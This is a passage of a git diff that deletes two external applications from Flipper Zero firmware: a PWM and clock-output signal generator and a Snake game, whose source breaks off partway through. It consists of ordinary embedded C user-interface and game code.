-#include "signal_gen_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const signal_gen_scene_on_exit_handlers[])(void* context) = { -#include "signal_gen_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers signal_gen_scene_handlers = { - .on_enter_handlers = signal_gen_scene_on_enter_handlers, - .on_event_handlers = signal_gen_scene_on_event_handlers, - .on_exit_handlers = signal_gen_scene_on_exit_handlers, - .scene_num = SignalGenSceneNum, -}; diff --git a/applications/external/signal_generator/scenes/signal_gen_scene.h b/applications/external/signal_generator/scenes/signal_gen_scene.h deleted file mode 100644 index c139afa3b..000000000 --- a/applications/external/signal_generator/scenes/signal_gen_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) SignalGenScene##id, -typedef enum { -#include "signal_gen_scene_config.h" - SignalGenSceneNum, -} SignalGenScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers signal_gen_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "signal_gen_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "signal_gen_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "signal_gen_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/signal_generator/scenes/signal_gen_scene_config.h b/applications/external/signal_generator/scenes/signal_gen_scene_config.h deleted file mode 100644 index b6c750256..000000000 --- a/applications/external/signal_generator/scenes/signal_gen_scene_config.h +++ /dev/null @@ -1,3 +0,0 @@ -ADD_SCENE(signal_gen, start, Start) -ADD_SCENE(signal_gen, pwm, Pwm) -ADD_SCENE(signal_gen, mco, Mco) diff --git a/applications/external/signal_generator/scenes/signal_gen_scene_mco.c b/applications/external/signal_generator/scenes/signal_gen_scene_mco.c deleted file mode 100644 index 0855cde0a..000000000 --- a/applications/external/signal_generator/scenes/signal_gen_scene_mco.c +++ /dev/null @@ -1,145 +0,0 @@ -#include "../signal_gen_app_i.h" - -typedef enum { - LineIndexPin, - LineIndexSource, - LineIndexDivision, -} LineIndex; - -static const char* const mco_pin_names[] = { - "13(Tx)", -}; - -static const char* const mco_source_names[] = { - "32768Hz", - "64MHz", - "~100K", - "~200K", - "~400K", - "~800K", - "~1MHz", - "~2MHz", - "~4MHz", - "~8MHz", - "~16MHz", - "~24MHz", - "~32MHz", - "~48MHz", -}; - -static const FuriHalClockMcoSourceId mco_sources[] = { - FuriHalClockMcoLse, - FuriHalClockMcoSysclk, - FuriHalClockMcoMsi100k, - FuriHalClockMcoMsi200k, - FuriHalClockMcoMsi400k, - FuriHalClockMcoMsi800k, - FuriHalClockMcoMsi1m, - FuriHalClockMcoMsi2m, - FuriHalClockMcoMsi4m, - FuriHalClockMcoMsi8m, - FuriHalClockMcoMsi16m, - FuriHalClockMcoMsi24m, - FuriHalClockMcoMsi32m, - FuriHalClockMcoMsi48m, -}; - -static const char* const mco_divisor_names[] = { - "1", - "2", - "4", - "8", - "16", -}; - -static const FuriHalClockMcoDivisorId mco_divisors[] = { - FuriHalClockMcoDiv1, - FuriHalClockMcoDiv2, - FuriHalClockMcoDiv4, - FuriHalClockMcoDiv8, - FuriHalClockMcoDiv16, -}; - -static void mco_source_list_change_callback(VariableItem* item) { - SignalGenApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, mco_source_names[index]); - - app->mco_src = mco_sources[index]; - - view_dispatcher_send_custom_event(app->view_dispatcher, SignalGenMcoEventUpdate); -} - -static void mco_divisor_list_change_callback(VariableItem* item) { - SignalGenApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, mco_divisor_names[index]); - - app->mco_div = mco_divisors[index]; - - view_dispatcher_send_custom_event(app->view_dispatcher, SignalGenMcoEventUpdate); -} - -void signal_gen_scene_mco_on_enter(void* context) { - SignalGenApp* app = context; - VariableItemList* var_item_list = app->var_item_list; - - VariableItem* item; - - item = variable_item_list_add(var_item_list, "GPIO Pin", COUNT_OF(mco_pin_names), NULL, NULL); - variable_item_set_current_value_index(item, 0); - variable_item_set_current_value_text(item, mco_pin_names[0]); - - item = variable_item_list_add( - var_item_list, - "Frequency", - COUNT_OF(mco_source_names), - mco_source_list_change_callback, - app); - variable_item_set_current_value_index(item, 0); - variable_item_set_current_value_text(item, mco_source_names[0]); - - item = variable_item_list_add( - var_item_list, - "Freq. divider", - COUNT_OF(mco_divisor_names), - mco_divisor_list_change_callback, - app); - variable_item_set_current_value_index(item, 0); - variable_item_set_current_value_text(item, mco_divisor_names[0]); - - variable_item_list_set_selected_item(var_item_list, LineIndexSource); - - view_dispatcher_switch_to_view(app->view_dispatcher, SignalGenViewVarItemList); - - app->mco_src = FuriHalClockMcoLse; - app->mco_div = FuriHalClockMcoDiv1; - furi_hal_clock_mco_enable(app->mco_src, app->mco_div); - furi_hal_gpio_init_ex( - &gpio_usart_tx, GpioModeAltFunctionPushPull, GpioPullUp, GpioSpeedVeryHigh, GpioAltFn0MCO); -} - -bool signal_gen_scene_mco_on_event(void* context, SceneManagerEvent event) { - SignalGenApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SignalGenMcoEventUpdate) { - consumed = true; - furi_hal_clock_mco_enable(app->mco_src, app->mco_div); - } - } - return consumed; -} - -void signal_gen_scene_mco_on_exit(void* context) { - SignalGenApp* app = context; - variable_item_list_reset(app->var_item_list); - furi_hal_gpio_init_ex( - &gpio_usart_tx, - GpioModeAltFunctionPushPull, - GpioPullUp, - GpioSpeedVeryHigh, - GpioAltFn7USART1); - furi_hal_clock_mco_disable(); -} diff --git a/applications/external/signal_generator/scenes/signal_gen_scene_pwm.c b/applications/external/signal_generator/scenes/signal_gen_scene_pwm.c deleted file mode 100644 index 1cadb3a1a..000000000 --- a/applications/external/signal_generator/scenes/signal_gen_scene_pwm.c +++ /dev/null @@ -1,79 +0,0 @@ -#include "../signal_gen_app_i.h" - -static const FuriHalPwmOutputId pwm_ch_id[] = { - FuriHalPwmOutputIdTim1PA7, - FuriHalPwmOutputIdLptim2PA4, -}; - -#define DEFAULT_FREQ 1000 -#define DEFAULT_DUTY 50 - -static void - signal_gen_pwm_callback(uint8_t channel_id, uint32_t freq, uint8_t duty, void* context) { - SignalGenApp* app = context; - - app->pwm_freq = freq; - app->pwm_duty = duty; - - if(app->pwm_ch != pwm_ch_id[channel_id]) { //-V1051 - app->pwm_ch_prev = app->pwm_ch; - app->pwm_ch = pwm_ch_id[channel_id]; - view_dispatcher_send_custom_event(app->view_dispatcher, SignalGenPwmEventChannelChange); - } else { - app->pwm_ch = pwm_ch_id[channel_id]; //-V1048 - view_dispatcher_send_custom_event(app->view_dispatcher, SignalGenPwmEventUpdate); - } -} - -void signal_gen_scene_pwm_on_enter(void* context) { - SignalGenApp* app = context; - - view_dispatcher_switch_to_view(app->view_dispatcher, SignalGenViewPwm); - - signal_gen_pwm_set_callback(app->pwm_view, signal_gen_pwm_callback, app); - - signal_gen_pwm_set_params(app->pwm_view, 0, DEFAULT_FREQ, DEFAULT_DUTY); - - if(!furi_hal_pwm_is_running(pwm_ch_id[0])) { - furi_hal_pwm_start(pwm_ch_id[0], DEFAULT_FREQ, DEFAULT_DUTY); - } else { - furi_hal_pwm_stop(pwm_ch_id[0]); - furi_hal_pwm_start(pwm_ch_id[0], DEFAULT_FREQ, DEFAULT_DUTY); - } -} - -bool signal_gen_scene_pwm_on_event(void* context, SceneManagerEvent event) { - SignalGenApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SignalGenPwmEventUpdate) { - consumed = true; - furi_hal_pwm_set_params(app->pwm_ch, app->pwm_freq, app->pwm_duty); - } else if(event.event == SignalGenPwmEventChannelChange) { - consumed = true; - // Stop previous channel PWM - if(furi_hal_pwm_is_running(app->pwm_ch_prev)) { - furi_hal_pwm_stop(app->pwm_ch_prev); - } - - // Start PWM and restart if it was starter already - if(furi_hal_pwm_is_running(app->pwm_ch)) { - furi_hal_pwm_stop(app->pwm_ch); - furi_hal_pwm_start(app->pwm_ch, app->pwm_freq, app->pwm_duty); - } else { - furi_hal_pwm_start(app->pwm_ch, app->pwm_freq, app->pwm_duty); - } - } - } - return consumed; -} - -void signal_gen_scene_pwm_on_exit(void* context) { - SignalGenApp* app = context; - variable_item_list_reset(app->var_item_list); - - if(furi_hal_pwm_is_running(app->pwm_ch)) { - furi_hal_pwm_stop(app->pwm_ch); - } -} diff --git a/applications/external/signal_generator/scenes/signal_gen_scene_start.c b/applications/external/signal_generator/scenes/signal_gen_scene_start.c deleted file mode 100644 index 3c7b9cc32..000000000 --- a/applications/external/signal_generator/scenes/signal_gen_scene_start.c +++ /dev/null @@ -1,55 +0,0 @@ -#include "../signal_gen_app_i.h" - -typedef enum { - SubmenuIndexPwm, - SubmenuIndexClockOutput, -} SubmenuIndex; - -void signal_gen_scene_start_submenu_callback(void* context, uint32_t index) { - SignalGenApp* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void signal_gen_scene_start_on_enter(void* context) { - SignalGenApp* app = context; - Submenu* submenu = app->submenu; - - submenu_add_item( - submenu, "PWM Generator", SubmenuIndexPwm, signal_gen_scene_start_submenu_callback, app); - submenu_add_item( - submenu, - "Clock Generator", - SubmenuIndexClockOutput, - signal_gen_scene_start_submenu_callback, - app); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, SignalGenSceneStart)); - - view_dispatcher_switch_to_view(app->view_dispatcher, SignalGenViewSubmenu); -} - -bool signal_gen_scene_start_on_event(void* context, SceneManagerEvent event) { - SignalGenApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexPwm) { - scene_manager_next_scene(app->scene_manager, SignalGenScenePwm); - consumed = true; - } else if(event.event == SubmenuIndexClockOutput) { - scene_manager_next_scene(app->scene_manager, SignalGenSceneMco); - consumed = true; - } - scene_manager_set_scene_state(app->scene_manager, SignalGenSceneStart, event.event); - } - - return consumed; -} - -void signal_gen_scene_start_on_exit(void* context) { - SignalGenApp* app = context; - - submenu_reset(app->submenu); -} diff --git a/applications/external/signal_generator/signal_gen_10px.png b/applications/external/signal_generator/signal_gen_10px.png deleted file mode 100644 index 9f6dcc5d0..000000000 Binary files a/applications/external/signal_generator/signal_gen_10px.png and /dev/null differ diff --git a/applications/external/signal_generator/signal_gen_app.c b/applications/external/signal_generator/signal_gen_app.c deleted file mode 100644 index ca065d330..000000000 --- a/applications/external/signal_generator/signal_gen_app.c +++ /dev/null @@ -1,93 +0,0 @@ -#include "signal_gen_app_i.h" - -#include -#include - -static bool signal_gen_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - SignalGenApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool signal_gen_app_back_event_callback(void* context) { - furi_assert(context); - SignalGenApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void signal_gen_app_tick_event_callback(void* context) { - furi_assert(context); - SignalGenApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -SignalGenApp* signal_gen_app_alloc() { - SignalGenApp* app = malloc(sizeof(SignalGenApp)); - - app->gui = furi_record_open(RECORD_GUI); - - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&signal_gen_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, signal_gen_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, signal_gen_app_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, signal_gen_app_tick_event_callback, 100); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - app->var_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - SignalGenViewVarItemList, - variable_item_list_get_view(app->var_item_list)); - - app->submenu = submenu_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, SignalGenViewSubmenu, submenu_get_view(app->submenu)); - - app->pwm_view = signal_gen_pwm_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, SignalGenViewPwm, signal_gen_pwm_get_view(app->pwm_view)); - - scene_manager_next_scene(app->scene_manager, SignalGenSceneStart); - - return app; -} - -void signal_gen_app_free(SignalGenApp* app) { - furi_assert(app); - - // Views - view_dispatcher_remove_view(app->view_dispatcher, SignalGenViewVarItemList); - view_dispatcher_remove_view(app->view_dispatcher, SignalGenViewSubmenu); - view_dispatcher_remove_view(app->view_dispatcher, SignalGenViewPwm); - - submenu_free(app->submenu); - variable_item_list_free(app->var_item_list); - signal_gen_pwm_free(app->pwm_view); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - // Close records - furi_record_close(RECORD_GUI); - - free(app); -} - -int32_t signal_gen_app(void* p) { - UNUSED(p); - SignalGenApp* signal_gen_app = signal_gen_app_alloc(); - - view_dispatcher_run(signal_gen_app->view_dispatcher); - - signal_gen_app_free(signal_gen_app); - - return 0; -} diff --git a/applications/external/signal_generator/signal_gen_app_i.h b/applications/external/signal_generator/signal_gen_app_i.h deleted file mode 100644 index 60e4d7ed9..000000000 --- a/applications/external/signal_generator/signal_gen_app_i.h +++ /dev/null @@ -1,46 +0,0 @@ -#pragma once - -#include "scenes/signal_gen_scene.h" - -#include -#include - -#include -#include -#include -#include -#include -#include -#include "views/signal_gen_pwm.h" - -typedef struct SignalGenApp SignalGenApp; - -struct SignalGenApp { - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - - VariableItemList* var_item_list; - Submenu* submenu; - SignalGenPwm* pwm_view; - - FuriHalClockMcoSourceId mco_src; - FuriHalClockMcoDivisorId mco_div; - - FuriHalPwmOutputId pwm_ch_prev; - FuriHalPwmOutputId pwm_ch; - uint32_t pwm_freq; - uint8_t pwm_duty; -}; - -typedef enum { - SignalGenViewVarItemList, - SignalGenViewSubmenu, - SignalGenViewPwm, -} SignalGenAppView; - -typedef enum { - SignalGenMcoEventUpdate, - SignalGenPwmEventUpdate, - SignalGenPwmEventChannelChange, -} SignalGenCustomEvent; diff --git a/applications/external/signal_generator/views/signal_gen_pwm.c b/applications/external/signal_generator/views/signal_gen_pwm.c deleted file mode 100644 index d625ed5a9..000000000 --- a/applications/external/signal_generator/views/signal_gen_pwm.c +++ /dev/null @@ -1,310 +0,0 @@ -#include "../signal_gen_app_i.h" -#include -#include -#include - -typedef enum { - LineIndexChannel, - LineIndexFrequency, - LineIndexDuty, - LineIndexTotalCount -} LineIndex; - -static const char* const pwm_ch_names[] = {"2(A7)", "4(A4)"}; - -struct SignalGenPwm { - View* view; - SignalGenPwmViewCallback callback; - void* context; -}; - -typedef struct { - LineIndex line_sel; - bool edit_mode; - uint8_t edit_digit; - - uint8_t channel_id; - uint32_t freq; - uint8_t duty; - -} SignalGenPwmViewModel; - -#define ITEM_H 64 / 3 -#define ITEM_W 128 - -#define VALUE_X 100 -#define VALUE_W 45 - -#define FREQ_VALUE_X 62 -#define FREQ_MAX 1000000UL -#define FREQ_DIGITS_NB 7 - -static void pwm_set_config(SignalGenPwm* pwm) { - FuriHalPwmOutputId channel; - uint32_t freq; - uint8_t duty; - - with_view_model( - pwm->view, - SignalGenPwmViewModel * model, - { - channel = model->channel_id; - freq = model->freq; - duty = model->duty; - }, - false); - - furi_assert(pwm->callback); - pwm->callback(channel, freq, duty, pwm->context); -} - -static void pwm_channel_change(SignalGenPwmViewModel* model, InputEvent* event) { - if(event->key == InputKeyLeft) { - if(model->channel_id > 0) { - model->channel_id--; - } - } else if(event->key == InputKeyRight) { - if(model->channel_id < (COUNT_OF(pwm_ch_names) - 1)) { - model->channel_id++; - } - } -} - -static void pwm_duty_change(SignalGenPwmViewModel* model, InputEvent* event) { - if(event->key == InputKeyLeft) { - if(model->duty > 0) { - model->duty--; - } - } else if(event->key == InputKeyRight) { - if(model->duty < 100) { - model->duty++; - } - } -} - -static bool pwm_freq_edit(SignalGenPwmViewModel* model, InputEvent* event) { - bool consumed = false; - if((event->type == InputTypeShort) || (event->type == InputTypeRepeat)) { - if(event->key == InputKeyRight) { - if(model->edit_digit > 0) { - model->edit_digit--; - } - consumed = true; - } else if(event->key == InputKeyLeft) { - if(model->edit_digit < (FREQ_DIGITS_NB - 1)) { - model->edit_digit++; - } - consumed = true; - } else if(event->key == InputKeyUp) { - uint32_t step = 1; - for(uint8_t i = 0; i < model->edit_digit; i++) { - step *= 10; - } - if((model->freq + step) < FREQ_MAX) { - model->freq += step; - } else { - model->freq = FREQ_MAX; - } - consumed = true; - } else if(event->key == InputKeyDown) { - uint32_t step = 1; - for(uint8_t i = 0; i < model->edit_digit; i++) { - step *= 10; - } - if(model->freq > (step + 1)) { - model->freq -= step; - } else { - model->freq = 1; - } - consumed = true; - } - } - return consumed; -} - -static void signal_gen_pwm_draw_callback(Canvas* canvas, void* _model) { - SignalGenPwmViewModel* model = _model; - char* line_label = NULL; - char val_text[16]; - - for(size_t line = 0; line < LineIndexTotalCount; line++) { - if(line == LineIndexChannel) { - line_label = "GPIO Pin"; - } else if(line == LineIndexFrequency) { - line_label = "Frequency"; - } else if(line == LineIndexDuty) { //-V547 - line_label = "Pulse width"; - } - - canvas_set_color(canvas, ColorBlack); - if(line == model->line_sel) { - elements_slightly_rounded_box(canvas, 0, ITEM_H * line + 1, ITEM_W, ITEM_H - 1); - canvas_set_color(canvas, ColorWhite); - } - - uint8_t text_y = ITEM_H * line + ITEM_H / 2 + 2; - - canvas_draw_str_aligned(canvas, 6, text_y, AlignLeft, AlignCenter, line_label); - - if(line == LineIndexChannel) { - snprintf(val_text, sizeof(val_text), "%s", pwm_ch_names[model->channel_id]); - canvas_draw_str_aligned(canvas, VALUE_X, text_y, AlignCenter, AlignCenter, val_text); - if(model->channel_id != 0) { - canvas_draw_str_aligned( - canvas, VALUE_X - VALUE_W / 2, text_y, AlignCenter, AlignCenter, "<"); - } - if(model->channel_id != (COUNT_OF(pwm_ch_names) - 1)) { - canvas_draw_str_aligned( - canvas, VALUE_X + VALUE_W / 2, text_y, AlignCenter, AlignCenter, ">"); - } - } else if(line == LineIndexFrequency) { - snprintf(val_text, sizeof(val_text), "%7lu Hz", model->freq); - canvas_set_font(canvas, FontKeyboard); - canvas_draw_str_aligned( - canvas, FREQ_VALUE_X, text_y, AlignLeft, AlignCenter, val_text); - canvas_set_font(canvas, FontSecondary); - - if(model->edit_mode) { - uint8_t icon_x = (FREQ_VALUE_X) + (FREQ_DIGITS_NB - model->edit_digit - 1) * 6; - canvas_draw_icon(canvas, icon_x, text_y - 9, &I_SmallArrowUp_3x5); - canvas_draw_icon(canvas, icon_x, text_y + 5, &I_SmallArrowDown_3x5); - } - } else if(line == LineIndexDuty) { //-V547 - snprintf(val_text, sizeof(val_text), "%d%%", model->duty); - canvas_draw_str_aligned(canvas, VALUE_X, text_y, AlignCenter, AlignCenter, val_text); - if(model->duty != 0) { - canvas_draw_str_aligned( - canvas, VALUE_X - VALUE_W / 2, text_y, AlignCenter, AlignCenter, "<"); - } - if(model->duty != 100) { - canvas_draw_str_aligned( - canvas, VALUE_X + VALUE_W / 2, text_y, AlignCenter, AlignCenter, ">"); - } - } - } -} - -static bool signal_gen_pwm_input_callback(InputEvent* event, void* context) { - furi_assert(context); - SignalGenPwm* pwm = context; - bool consumed = false; - bool need_update = false; - - with_view_model( - pwm->view, - SignalGenPwmViewModel * model, - { - if(model->edit_mode == false) { - if((event->type == InputTypeShort) || (event->type == InputTypeRepeat)) { - if(event->key == InputKeyUp) { - if(model->line_sel == 0) { - model->line_sel = LineIndexTotalCount - 1; - } else { - model->line_sel = - CLAMP(model->line_sel - 1, LineIndexTotalCount - 1, 0); - } - consumed = true; - } else if(event->key == InputKeyDown) { - if(model->line_sel == LineIndexTotalCount - 1) { - model->line_sel = 0; - } else { - model->line_sel = - CLAMP(model->line_sel + 1, LineIndexTotalCount - 1, 0); - } - consumed = true; - } else if((event->key == InputKeyLeft) || (event->key == InputKeyRight)) { - if(model->line_sel == LineIndexChannel) { - pwm_channel_change(model, event); - need_update = true; - } else if(model->line_sel == LineIndexDuty) { - pwm_duty_change(model, event); - need_update = true; - } else if(model->line_sel == LineIndexFrequency) { - model->edit_mode = true; - } - consumed = true; - } else if(event->key == InputKeyOk) { - if(model->line_sel == LineIndexFrequency) { - model->edit_mode = true; - } - consumed = true; - } - } - } else { - if((event->key == InputKeyOk) || (event->key == InputKeyBack)) { - if(event->type == InputTypeShort) { - model->edit_mode = false; - consumed = true; - } - } else { - if(model->line_sel == LineIndexFrequency) { - consumed = pwm_freq_edit(model, event); - need_update = consumed; - } - } - } - }, - true); - - if(need_update) { - pwm_set_config(pwm); - } - - return consumed; -} - -SignalGenPwm* signal_gen_pwm_alloc() { - SignalGenPwm* pwm = malloc(sizeof(SignalGenPwm)); - - pwm->view = view_alloc(); - view_allocate_model(pwm->view, ViewModelTypeLocking, sizeof(SignalGenPwmViewModel)); - view_set_context(pwm->view, pwm); - view_set_draw_callback(pwm->view, signal_gen_pwm_draw_callback); - view_set_input_callback(pwm->view, signal_gen_pwm_input_callback); - - return pwm; -} - -void signal_gen_pwm_free(SignalGenPwm* pwm) { - furi_assert(pwm); - view_free(pwm->view); - free(pwm); -} - -View* signal_gen_pwm_get_view(SignalGenPwm* pwm) { - furi_assert(pwm); - return pwm->view; -} - -void signal_gen_pwm_set_callback( - SignalGenPwm* pwm, - SignalGenPwmViewCallback callback, - void* context) { - furi_assert(pwm); - furi_assert(callback); - - with_view_model( - pwm->view, - SignalGenPwmViewModel * model, - { - UNUSED(model); - pwm->callback = callback; - pwm->context = context; - }, - false); -} - -void signal_gen_pwm_set_params(SignalGenPwm* pwm, uint8_t channel_id, uint32_t freq, uint8_t duty) { - with_view_model( - pwm->view, - SignalGenPwmViewModel * model, - { - model->channel_id = channel_id; - model->freq = freq; - model->duty = duty; - }, - true); - - furi_assert(pwm->callback); - pwm->callback(channel_id, freq, duty, pwm->context); -} diff --git a/applications/external/signal_generator/views/signal_gen_pwm.h b/applications/external/signal_generator/views/signal_gen_pwm.h deleted file mode 100644 index 986794e7a..000000000 --- a/applications/external/signal_generator/views/signal_gen_pwm.h +++ /dev/null @@ -1,21 +0,0 @@ -#pragma once - -#include -#include "../signal_gen_app_i.h" - -typedef struct SignalGenPwm SignalGenPwm; -typedef void ( - *SignalGenPwmViewCallback)(uint8_t channel_id, uint32_t freq, uint8_t duty, void* context); - -SignalGenPwm* signal_gen_pwm_alloc(); - -void signal_gen_pwm_free(SignalGenPwm* pwm); - -View* signal_gen_pwm_get_view(SignalGenPwm* pwm); - -void signal_gen_pwm_set_callback( - SignalGenPwm* pwm, - SignalGenPwmViewCallback callback, - void* context); - -void signal_gen_pwm_set_params(SignalGenPwm* pwm, uint8_t channel_id, uint32_t freq, uint8_t duty); diff --git a/applications/external/snake_game/application.fam b/applications/external/snake_game/application.fam deleted file mode 100644 index b05426e9d..000000000 --- a/applications/external/snake_game/application.fam +++ /dev/null @@ -1,11 +0,0 @@ -App( - appid="snake", - name="Snake Game", - apptype=FlipperAppType.EXTERNAL, - entry_point="snake_game_app", - requires=["gui"], - stack_size=1 * 1024, - order=30, - fap_icon="snake_10px.png", - fap_category="Games", -) diff --git a/applications/external/snake_game/snake_10px.png b/applications/external/snake_game/snake_10px.png deleted file mode 100644 index 52d9fa7e0..000000000 Binary files a/applications/external/snake_game/snake_10px.png and /dev/null differ diff --git a/applications/external/snake_game/snake_game.c b/applications/external/snake_game/snake_game.c deleted file mode 100644 index 22b222a51..000000000 --- a/applications/external/snake_game/snake_game.c +++ /dev/null @@ -1,409 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include - -typedef struct { - // +-----x - // | - // | - // y - uint8_t x; - uint8_t y; -} Point; - -typedef enum { - GameStateLife, - - // https://melmagazine.com/en-us/story/snake-nokia-6110-oral-history-taneli-armanto - // Armanto: While testing the early versions of the game, I noticed it was hard - // to control the snake upon getting close to and edge but not crashing — especially - // in the highest speed levels. I wanted the highest level to be as fast as I could - // possibly make the device "run," but on the other hand, I wanted to be friendly - // and help the player manage that level. Otherwise it might not be fun to play. So - // I implemented a little delay. A few milliseconds of extra time right before - // the player crashes, during which she can still change the directions. And if - // she does, the game continues. - GameStateLastChance, - - GameStateGameOver, -} GameState; - -// Note: do not change without purpose. Current values are used in smart -// orthogonality calculation in `snake_game_get_turn_snake`. -typedef enum { - DirectionUp, - DirectionRight, - DirectionDown, - DirectionLeft, -} Direction; - -#define MAX_SNAKE_LEN 128 * 64 / 4 - -typedef struct { - Point points[MAX_SNAKE_LEN]; - uint16_t len; - Direction currentMovement; - Direction nextMovement; // if backward of currentMovement, ignore - Point fruit; - GameState state; - FuriMutex* mutex; -} SnakeState; - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} SnakeEvent; - -const NotificationSequence sequence_fail = { - &message_vibro_on, - - &message_note_ds4, - &message_delay_10, - &message_sound_off, - &message_delay_10, - - &message_note_ds4, - &message_delay_10, - &message_sound_off, - &message_delay_10, - - &message_note_ds4, - &message_delay_10, - &message_sound_off, - &message_delay_10, - - &message_vibro_off, - NULL, -}; - -const NotificationSequence sequence_eat = { - &message_note_c7, - &message_delay_50, - &message_sound_off, - NULL, -}; - -static void snake_game_render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - const SnakeState* snake_state = ctx; - - furi_mutex_acquire(snake_state->mutex, FuriWaitForever); - - // Frame - canvas_draw_frame(canvas, 0, 0, 128, 64); - - // Fruit - Point f = snake_state->fruit; - f.x = f.x * 4 + 1; - f.y = f.y * 4 + 1; - canvas_draw_rframe(canvas, f.x, f.y, 6, 6, 2); - - // Snake - for(uint16_t i = 0; i < snake_state->len; i++) { - Point p = snake_state->points[i]; - p.x = p.x * 4 + 2; - p.y = p.y * 4 + 2; - canvas_draw_box(canvas, p.x, p.y, 4, 4); - } - - // Game Over banner - if(snake_state->state == GameStateGameOver) { - // Screen is 128x64 px - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 34, 20, 62, 24); - - canvas_set_color(canvas, ColorBlack); - canvas_draw_frame(canvas, 34, 20, 62, 24); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 37, 31, "Game Over"); - - canvas_set_font(canvas, FontSecondary); - char buffer[12]; - snprintf(buffer, sizeof(buffer), "Score: %u", snake_state->len - 7U); - canvas_draw_str_aligned(canvas, 64, 41, AlignCenter, AlignBottom, buffer); - } - - furi_mutex_release(snake_state->mutex); -} - -static void snake_game_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - SnakeEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void snake_game_update_timer_callback(FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - SnakeEvent event = {.type = EventTypeTick}; - furi_message_queue_put(event_queue, &event, 0); -} - -static void snake_game_init_game(SnakeState* const snake_state) { - Point p[] = {{8, 6}, {7, 6}, {6, 6}, {5, 6}, {4, 6}, {3, 6}, {2, 6}}; - memcpy(snake_state->points, p, sizeof(p)); //-V1086 - - snake_state->len = 7; - - snake_state->currentMovement = DirectionRight; - - snake_state->nextMovement = DirectionRight; - - Point f = {18, 6}; - snake_state->fruit = f; - - snake_state->state = GameStateLife; -} - -static Point snake_game_get_new_fruit(SnakeState const* const snake_state) { - // 1 bit for each point on the playing field where the snake can turn - // and where the fruit can appear - uint16_t buffer[8]; - memset(buffer, 0, sizeof(buffer)); - uint8_t empty = 8 * 16; - - for(uint16_t i = 0; i < snake_state->len; i++) { - Point p = snake_state->points[i]; - - if(p.x % 2 != 0 || p.y % 2 != 0) { - continue; - } - p.x /= 2; - p.y /= 2; - - buffer[p.y] |= 1 << p.x; - empty--; - } - // Bit set if snake use that playing field - - uint16_t newFruit = rand() % empty; - - // Skip random number of _empty_ fields - for(uint8_t y = 0; y < 8; y++) { - for(uint16_t x = 0, mask = 1; x < 16; x += 1, mask <<= 1) { - if((buffer[y] & mask) == 0) { - if(newFruit == 0) { - Point p = { - .x = x * 2, - .y = y * 2, - }; - return p; - } - newFruit--; - } - } - } - // We will never be here - Point p = {0, 0}; - return p; -} - -static bool snake_game_collision_with_frame(Point const next_step) { - // if x == 0 && currentMovement == left then x - 1 == 255 , - // so check only x > right border - return next_step.x > 30 || next_step.y > 14; -} - -static bool - snake_game_collision_with_tail(SnakeState const* const snake_state, Point const next_step) { - for(uint16_t i = 0; i < snake_state->len; i++) { - Point p = snake_state->points[i]; - if(p.x == next_step.x && p.y == next_step.y) { - return true; - } - } - - return false; -} - -static Direction snake_game_get_turn_snake(SnakeState const* const snake_state) { - // Sum of two `Direction` lies between 0 and 6, odd values indicate orthogonality. - bool is_orthogonal = (snake_state->currentMovement + snake_state->nextMovement) % 2 == 1; - return is_orthogonal ? snake_state->nextMovement : snake_state->currentMovement; -} - -static Point snake_game_get_next_step(SnakeState const* const snake_state) { - Point next_step = snake_state->points[0]; - switch(snake_state->currentMovement) { - // +-----x - 